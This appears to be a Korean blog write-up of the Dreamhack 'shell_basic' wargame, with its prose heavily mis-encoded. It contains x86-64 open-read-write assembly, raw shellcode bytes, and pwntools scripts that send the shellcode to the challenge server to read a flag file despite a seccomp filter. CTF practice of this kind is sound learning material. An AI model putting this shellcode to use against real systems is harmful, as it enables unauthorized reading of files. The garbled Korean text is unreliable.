shell_basic
shell_basic
์ฌ๋ฌ๊ฐ์ง์ ๋ฌธ์ ํ์ด..?
1. skeleton_code ํ์ฉ
๋งค์ฐ ์ ์์ ์ธ ๋ฐฉ๋ฒ์ด๊ณ ์ปค๋ฆฌํ๋ผ์ด ์๋ํ ๋ด์ฉ์ ๋๋ค. ์ด์ ์ ์ฌ์ฉํ๋ orw๋ฅผ ํ์ฉํด๋ณผ๊น์?
์ด์ ์ค์ผ๋ ํค ์ฝ๋์ ์ ์ฉํ ๋ ค๋ ์์์ธ๋ฐ์ ๋ฐ์ ๋งํฌ๋ค์ ์ฐธ๊ณ ์๋ฃใ
FreeBSD/x86 - execve /tmp/sh - 34 bytes
shell-storm.org
Exploit Tech: Shellcode
์ต์คํ๋ก์(Exploit) ํดํน ๋ถ์ผ์์ ์๋ ์์คํ ์ ๊ณต๊ฒฉํ๋ ๊ฒ์ผ๋ก ์นจํฌํ์ฌ ์์คํ ์ ์ ์ฉํ๋ ํดํน๊ณผ ๋งฅ๋ฝ์ด ๊ฐ์ ์ฒซ ๋ฒ์งธ ๊ณต๊ฒฉ๊ธฐ๋ฒ์ธ ์ ธ์ฝ๋์ด๋ฉฐ, ์ง๊ธ๊น์ง ๋ฐฐ์ด ์ง์์ ์ ๊ฒํ๊ณ gdb ์ฌ์ฉ์
dystopia050119.tistory.com
์ ๊ทธ๋ผ ์์ํด๋ณผ๊น์ C์ธ์ด ํ์์ ์์ฌ์ฝ๋๋ก ๋ง๋ค๋ฉด ์ด์ ์ ๋ฐฐ์ด๊ฒ์ฒ๋ผ
์ ์ฝ๋๋ฅผ ๋ณด์๋ฉด ๋ฐ์ ์ฝ๋ ๋ฐ์ดํธ ํฌ๊ธฐ๊ฐ ์ ์ ๋ฐ์ง ์ดํดํ์ จ์ฃ ?(๊ทผ๋ฐ ์ฌ๊ธฐ์ ๋ฑํ.. ์ฐจ์ด๊ฐ;;)
๋ํ ์์ read์ ํจ์๋ก shellcode๋ฅผ ์น์ ํ๊ฒ ์คํ๊น์ง ์์ผ์ฃผ๋๊น ๋๋ฌด ์ข๋ค์
์ฆ, ํจ์๋ฅผ ์คํํด์ผํ๋ค๋ ๋ถ๋ถ์ด๊ฒ ์ฃ
char buf[0x1000];
int fd = open("/home/shell_basic/flag_name_is_loooooong", RD_ONLY, NULL);
read(fd, buf, 0x1000);
write(1, buf, 0x1000);
์์ ๊ฐ์ด ํํ์ด ๊ฐ๋ฅ ๋ฐ ๊ตฌํํ๊ณ syscall์ ์ ธ ์ฝ๋ ์์ฑ ์์์ ๋ฐ๋ก ์์ ๊ฒ์ ๋ณด๊ณ ์ฐธ๊ณ !
Exploit Tech: Shellcode
์ต์คํ๋ก์(Exploit) ํดํน ๋ถ์ผ์์ ์๋ ์์คํ ์ ๊ณต๊ฒฉํ๋ ๊ฒ์ผ๋ก ์นจํฌํ์ฌ ์์คํ ์ ์ ์ฉํ๋ ํดํน๊ณผ ๋งฅ๋ฝ์ด ๊ฐ์ ์ฒซ ๋ฒ์งธ ๊ณต๊ฒฉ๊ธฐ๋ฒ์ธ ์ ธ์ฝ๋์ด๋ฉฐ, ์ง๊ธ๊น์ง ๋ฐฐ์ด ์ง์์ ์ ๊ฒํ๊ณ gdb ์ฌ์ฉ์
dystopia050119.tistory.com
๋ฐ์ ์ค๋ช ๋ชป ์์๋จน๊ฒ ์ผ๋ฉด ์ฌ๊ธฐ ๋ค์ ๊ฐ์ ๋ณด๊ฑฐ๋ ์ฐธ๊ณ ๋ก ๋ณด๋ฉด์ ํ์ธ์ ใ ใ
orw ์ฝ๋๋ฅผ ์ด์ ๋ธ ํ ๋ถ๋ถ๋ ํ์ธ์ ํ์๊ณ flag์์น๋ ๋๋ฌด ๊ธธ์ด์ ๋ฆฌํ์๋์์ผ๋ก ๋ณ๊ฒฝํด ํ์ธํ๋ฉด
hex_str = str(input('input : '))
hex_str = hex_str.encode().hex()
def hex_lsb(hex_str):
try:
hex_str_lsb = ''.join('/x'+ hex_str[i-2:i] for i in range(len(hex_str), 0, -2))
return hex_str_lsb
except ValueError:
print('Convertion Error!!')
return ''
print(hex_lsb(hex_str))
์ ์ฝ๋๋ฅผ ์ฌ์ฉํ๋ฉด ๊ธ๋ฐฉ ๋์์.. ์ ๋ฃ์๋ผ๊ณ ๋ง๋ .. ๊ทผ๋ฐ ์ฝ๊ฐ ์ฌ์ฉํ๊ธฐ ํธํ๊ฒ ์์ ํ์๊ณ ..
์ด์ ๋์ ํด์ ํด์ผํ๋.. rax๋ 64๋นํธ๋ก์จ ์์ ์ฝ๋๋ ๋๋ฌด ๊ธธ๊ธฐ์ ๋๋์ด ์ ์ฅํด์ผํด์
//file name : orw.c
//Complie : gcc -o orw orw.c -masm=intel
__asm__(
".global run_sh\n"
"run_sh:\n"
// int fd = open("/home/shell_basic/flag_name_is_loooooong", RD_ONLY, NULL);
"xor rax, rax\n"
"push rax\n"
"mov rax, 0x676e6f6f6f6f6f6f\n"
"push rax\n"
"mov rax, 0x6c5f73695f656d61\n"
"push rax\n"
"mov rax, 0x6e5f67616c662f63\n"
"push rax\n"
"mov rax, 0x697361625f6c6c65\n"
"push rax\n"
"mov rax, 0x68732f656d6f682f\n"
"push rax\n"
"mov rdi, rsp # rdi = '/home/shell_basic/flag_name_is_loooooong'\n"
"xor rsi, rsi # rsi = 0 ; RD_ONLY ์ฝ๊ธฐ ์ ์ฉ์ด๋๊ฒ null๊ฐ\n"
"xor rdx, rdx # rdx = 0 ; ๋ฑํ ์ฝ๋๋ฐ ๋ชจ๋๊ฐ ์ ์ฉ๋๋๊ฒ์ ์๋๋ฏ๋ก null๊ฐ\n"
"mov rax, 2 # rax = 2 ; syscall_open\n"
"syscall # open('/home/shell_basic/flag_name_is_loooooong', RD_ONLY, NULL)\n"
"\n"
// read(fd, buf, 0x1000);
"mov rdi, rax # rdi = fd\n"
"mov rsi, rsp\n"
"sub rsi, 0x1000 # rsi = rsp-0x1000 ; buf\n"
"mov rdx, 0x1000 # rdx = 0x30 ; len\n"
"mov rax, 0x0 # rax = 0 ; syscall_read\n"
"syscall # read(fd, buf, 0x1000)\n"
"\n"
//write(1, buf, 0x1000);
"mov rdi, 1 # rdi = 1 ; fd = stdout\n"
"mov rax, 0x1 # rax = 1 ; syscall_write\n"
"syscall # write(fd, buf, 0x1000)\n"
"\n"
);
void run_sh();
int main() { run_sh(); }
์ด์ OpCode๋ฅผ ํ์ธํด์ ๋ฃ์ผ๋ฉด ๋๋์ฃ ๊ทธ๋ฌ๊ธฐ์ objdump๋ผ๋ opcode ํ์ธ์ ์ฌ์ฉํฉ์๋ค.
objdump -d orw
๊ทธ๋ฆฌ๊ณ ์ฐ๋ฆฐ ํจ์๋ฅผ ์ฌ์ฉํด flag๋ฅผ ์ป์๋ ค๊ณ ํ๋๊น run_sh๋ฅผ ํ์ธํด์ผ์ฃ
์ด๊ฑธ ๋ค ์ถ์ถํด์ ํ๋ฉด.. ํ.. ํ์๋ฉด
\x48\x31\xc0\x50\x48\xb8\x6f\x6f\x6f\x6f\x6f\x6f\x6e\x67\x50\x48\xb8\x61\x6d\x65\x5f\x69\x73\x5f\x6c\x50\x48\xb8\x63\x2f\x66\x6c\x61\x67\x5f\x6e\x50\x48\xb8\x65\x6c\x6c\x5f\x62\x61\x73\x69\x50\x48\xb8\x2f\x68\x6f\x6d\x65\x2f\x73\x68\x50\x48\x89\xe7\x48\x31\xf6\x48\x31\xd2\x48\xc7\xc0\x02\x00\x00\x00\x0f\x05\x48\x89\xc7\x48\x89\xe6\x48\x81\xee\x00\x10\x00\x00\x48\xc7\xc2\x00\x10\x00\x00\x48\x31\xc0\x0f\x05\x48\xc7\xc7\x01\x00\x00\x00\x48\xc7\xc0\x01\x00\x00\x00\x0f\x05\x48\x31\xff\x48\xc7\xc0\x3c\x00\x00\x00\x0f\x05
์์ ๊ฐ์ด ๋์ค์ฃ ์ด๊ฑด.. ์ ์์ง๊น์ง ๊ธฐ์ ์ด ์์ด์์ธ์ง? ๋ชฐ๋ผ๋ ๋ ธ๊ฐ๋ค ํ๋๋ฐ
์ผ๋จ ์ ํ์๋ ์์งํ ์๊ฐ ๋ญ๋น๊ฐ์์ ์ ๊ฑด ์ฝ๋ ๋ณต์ฌํด์ ํ์ธ์
๊ทผ๋ฐ ์ ๋ฐฉ๋ฒ์ผ๋ก ์ ๋จ๋ค์;; ๊ทธ๋๊น pwntools๋ฅผ ์ฌ์ฉํด์ผ๊ธด ํ๋ค์
from pwn import *
r = remote("host1.dreamhack.games", 18660)
# ์ด๋ ๊ฒ ํ์ธ์ ํด๋ด์ผ๊ฒ ์ฃ ๋ค ๋์ฌ ๊ฑฐ๋๊น..
context.log_level = 'debug'
context.arch = 'amd64'
shellcode = "\x48\x31\xc0\x50\x48\xb8\x6f\x6f\x6f\x6f\x6f\x6f\x6e\x67\x50\x48\xb8\x61\x6d\x65\x5f\x69\x73\x5f\x6c\x50\x48\xb8\x63\x2f\x66\x6c\x61\x67\x5f\x6e\x50\x48\xb8\x65\x6c\x6c\x5f\x62\x61\x73\x69\x50\x48\xb8\x2f\x68\x6f\x6d\x65\x2f\x73\x68\x50\x48\x89\xe7\x48\x31\xf6\x48\x31\xd2\x48\xc7\xc0\x02\x00\x00\x00\x0f\x05\x48\x89\xc7\x48\x89\xe6\x48\x81\xee\x00\x10\x00\x00\x48\xc7\xc2\x00\x10\x00\x00\x48\x31\xc0\x0f\x05\x48\xc7\xc7\x01\x00\x00\x00\x48\xc7\xc0\x01\x00\x00\x00\x0f\x05\x48\x31\xff\x48\xc7\xc0\x3c\x00\x00\x00\x0f\x05"
r.recvuntil('shellcode:')
r.sendline(shellcode)
r.interactive()
2. pwntools ์ฌ์ฉ
Pwntools Code
from pwn import *
p = remote("host1.dreamhack.games", 12553)
context.arch = "amd64"
r = "/home/shell_basic/flag_name_is_loooooong"
shellcode = ""
shellcode += shellcraft.open(r)
shellcode += shellcraft.read("rax", "rsp", 0x100)
shellcode += shellcraft.write(1, "rsp", 0x100)
print(p.recv())
p.sendline(asm(shellcode))
print(p.recv())
์.. ๊ทธ๋ผ ์ด์ ํ๋์ฉ ์์๋ณผ๊น์? ๋ฐ์๋ pwntools ๋ช ๋ น์ด๊ฐ ์ต์ํ์ง ์๋ค๋ฉด..
Tool: pwntools
pwntools์ ๊ฐ๋จ ์ค๋ช ํ์ ๋ฐฐ๊ฒฝ๊ณผ ์ค์น ๋ฐฉ๋ฒ ์ง๋ ์๊ฐ์ ํ์ด์ฌ๊ณผ ํ์ดํ(|)๋ฅผ ํตํด ๊ฐ๋จํ ์คํ ์ค๋ฒํ๋ก์ฐ ์ต์คํ๋ก์์ ํ์ฃ ํ์ด์ฌ์ผ๋ก ํ์ด๋ก๋๋ฅผ ์์ฑํ๊ณ , ํ์ดํ๋ฅผ ํตํด ์ด๋ฅผ ํ๋ก๊ทธ๋จ
dystopia050119.tistory.com
๋จผ์ flag์ ์์น๊ฐ ๋ช ์๋์ด ์์ผ๋ฉฐ, ๊ทธ ๋ถ๋ถ์ ์ฝ์ผ๋ฉด ๋๊ธฐ์.. ๊ทธ ๋ถ๋ถ์ ๊ธฐ์ตํฉ์๋ค.
๊ทธ ํ์ ์๊ฒฉ ์ ์ ํ ์ฐ๋ฆฌ๋ shellcraft๋ฅผ ์ฌ์ฉํ ๊ฑฐ์์ ๊ทธ๋๊น ์ํคํ ์ฒ๋ ์ง์ ํด์ผ๊ฒ ์ฃ
์ด๋ ์ ๋ ์ง์ ์ด ๋์๋ค๋ฉด ์ด์ ์์ฝ๋๋ฅผ ๊ธฐ์ ํด๋ณผ๊น์? ์ฐธ๊ณ ๋ก ๋ฐ์ ๋ด์ฉ๋ณด๊ณ ์ฐธ์กฐํ์ด์ ใ
pwnlib.shellcraft.amd64 — Shellcode for AMD64 — pwntools 4.7.0 documentation
Parameters: key (int,str) – XOR key either as a 8-byte integer, If a string, length must be a power of two, and not longer than 8 bytes. Alternately, may be a register. address (int) – Address of the data (e.g. 0xdead0000, ‘esp’) count (int) – Nu
docs.pwntools.com
Chromium OS Docs - Linux System Call Table
Linux System Call Table These are the system call numbers (NR) and their corresponding symbolic names. These vary significantly across architectures/ABIs, both in mappings and in actual name. This is a quick reference for people debugging things (e.g. secc
chromium.googlesource.com
์์ ๊ฐ์ด ๋ฃ์ด์ฃผ๋ฉฐ, ๊ทธ ์ด์ ๋
์ฒซ ๋ฒ์งธ๋ x64 ์ํคํ ์ฒ์ ๋ช ๋ น์ด ๊ธฐ์ ๋ฐฉ์์ผ๋ก์จ, ์ ๋ฐฉ์์ ์ฐธ๊ณ ํ์ฌ
๋ ๋ฒ์งธ์ธ shellcraft์ ํ์๋๋ก ํ๋ฉด ๋ฉ๋๋ค. ์์น๋ ์๊ธฐ์ ๋ฐ๋ก ์ด๊ณ read์ ํจ์๋ฅผ ์คํ ์ rax์ ์ ์ฅ๋ ์ ๋ณด๋ฅผ ํตํด syscall์ ํ๊ธฐ ๋๋ฌธ์ rax๋ก ํด๋ ์๊ด ์๊ฒ ์ฃ ? ๋ํ arg1์ ๋ฒํผ์ ํฌ๊ธฐ๊ฐ ์์ด์ผํ๋ฏ๋ก rsp์คํ ์์ ์ฃผ์๋ฅผ ๋ฃ์ด์ค๋๋ค. ๋ง์ง๋ง์ผ๋ก๋ ์ด๋๊น์ง ๋ฐ๋ ์ธ๋ฐ ๋ฑํ ์๊ด ์์ ๊ฑฐ ๊ฐ๋ค์
open('/home/shell_basic/flag_name_is_looooooong')
read(rax, buf, 0x50)
write(1, buf, 0x50)
print(p.recv())
p.sendline(asm(shellcode))
print(p.recv())
์ด๋ ๊ฒ ํ๋ฉด ๋๊ฒ ์ฃ ๋ฌธ์ ๋ฅผ ๋ค์ด๋ก๋ ๋ฐ๊ณ C ํ์ผ์ ์ด๊ณ ํ์ธํ์๋ฉด ์์๊ฒ ์ง๋ง..
๋ฌธ์ ์์๋ seccomp ํํฐ๋ก execve, execveat ์ ์คํํ์ง ๋ชปํ๋๋ก ํ๊ธฐ ๋๋ฌธ์ system() ํจ์๋ฅผ ์คํํ ์ ์๋ค๋ ๊ฒ๊น์ง ํ์ธ ํ ์ ์์ต๋๋ค. ๋ ์ธ๋ฐํ๊ณ ์์ธํ ์ฝ๋ ๋ถ์์.. ๊ฐ์ ํฉ์๋ค ใ ใ
์ฐธ๊ณ ์๋ฃ
shell_basic
Description ์ ๋ ฅํ ์ ธ์ฝ๋๋ฅผ ์คํํ๋ ํ๋ก๊ทธ๋จ์ ๋๋ค. main ํจ์๊ฐ ์๋ ๋ค๋ฅธ ํจ์๋ค์ execve, execveat ์์คํ ์ฝ์ ์ฌ์ฉํ์ง ๋ชปํ๋๋ก ํ๋ฉฐ, ํ์ด์ ๊ด๋ จ์ด ์๋ ํจ์์ ๋๋ค. flag ์์น์ ์ด๋ฆ์ /home/
dreamhack.io
Chromium OS Docs - Linux System Call Table
Linux System Call Table These are the system call numbers (NR) and their corresponding symbolic names. These vary significantly across architectures/ABIs, both in mappings and in actual name. This is a quick reference for people debugging things (e.g. secc
chromium.googlesource.com
pwnlib.shellcraft.amd64 — Shellcode for AMD64 — pwntools 4.7.0 documentation
Parameters: key (int,str) – XOR key either as a 8-byte integer, If a string, length must be a power of two, and not longer than 8 bytes. Alternately, may be a register. address (int) – Address of the data (e.g. 0xdead0000, ‘esp’) count (int) – Nu
docs.pwntools.com
[Hack #10] objdump - (2) ์ค๋ธ์ ํธ ํ์ผ ์ญ์ด์ ๋ธ
[ objdump๋ฅผ ์ด์ฉํ ์ค๋ธ์ ํธ ํ์ผ ์ญ์ด์ ๋ธ ] โง ์ญ์ด์ ๋ธ ๊ด๋ จ ์ต์ ์ต์ [ ๊ธด ์ต์ ] ์ค๋ช -d | --disassemble ์ค๋ธ์ ํธ ํ์ผ์ ๊ธฐ๊ณ์ด๋ก ์ญ์ด์ ๋ธ (์คํ ์ฝ๋๊ฐ ์๋ ์น์ ) -D | --disassemble-all ๋ชจ๋ ์น์ .
devanix.tistory.com
FreeBSD/x86 - execve /tmp/sh - 34 bytes
shell-storm.org
์ด์ ๋ธ๋ฆฌ์ด์์ ์ ์ฝ๋(OpCode)๋ก ๋ณํ ํ ์ ์ถ์ ์ด๋ป๊ฒ ํ๋์?
๋ฐ์ ๋ค๋ฅธ ๊ฒ์๊ธ๋ ๋ณด๊ณ ์ด์ ์์ OpCode๋ก ๋ณํํ๋ ๋ฐฉ๋ฒ ์ฐพ์์ ํ ์คํธ ์ผ์ Hello world!!!\n๋ฅผ ์ถ๋ ฅํ๋ ์ ์ฝ๋๋ฅผ ์ ์กํ์๋๋ฐ ์๋ฌด ๋ฐ์์ด ์์ต๋๋ค. ์๋๋ ์…
dreamhack.io
shell_basic ๋ฌธ์ ์์ opcode ๋ฅผ ๋ฐ์์ผ๋ ๊ทธ๋ค์ ์ด๋ป๊ฒ ํด์ผํ ์ง ๋ชจ๋ฅด๊ฒ์ต๋๋ค.
!2022-01-28 (13).png.png") opcode ๊ฐ ์ถ๋ ฅ์ ๋์์ผ๋ ๊ทธ๋ค์์ pwntools ๋ฅผ ์ด์ฉํ์ฌ ๋ณด๋๋๋ฐ๋ ์๋ฉ๋๋ค ์ ๊ฐ ํน์ ํ์ด์ฌ ์ฝ๋๋ฅผ ์๋ชป ์ ๋ ฅํ๋์…
dreamhack.io
์ฐธ๊ณ ์ด๋ฏธ์ง
shell_basic
Description ์ ๋ ฅํ ์ ธ์ฝ๋๋ฅผ ์คํํ๋ ํ๋ก๊ทธ๋จ์ ๋๋ค. main ํจ์๊ฐ ์๋ ๋ค๋ฅธ ํจ์๋ค์ execve, execveat ์์คํ ์ฝ์ ์ฌ์ฉํ์ง ๋ชปํ๋๋ก ํ๋ฉฐ, ํ์ด์ ๊ด๋ จ์ด ์๋ ํจ์์ ๋๋ค. flag ์์น์ ์ด๋ฆ์ /home/
dreamhack.io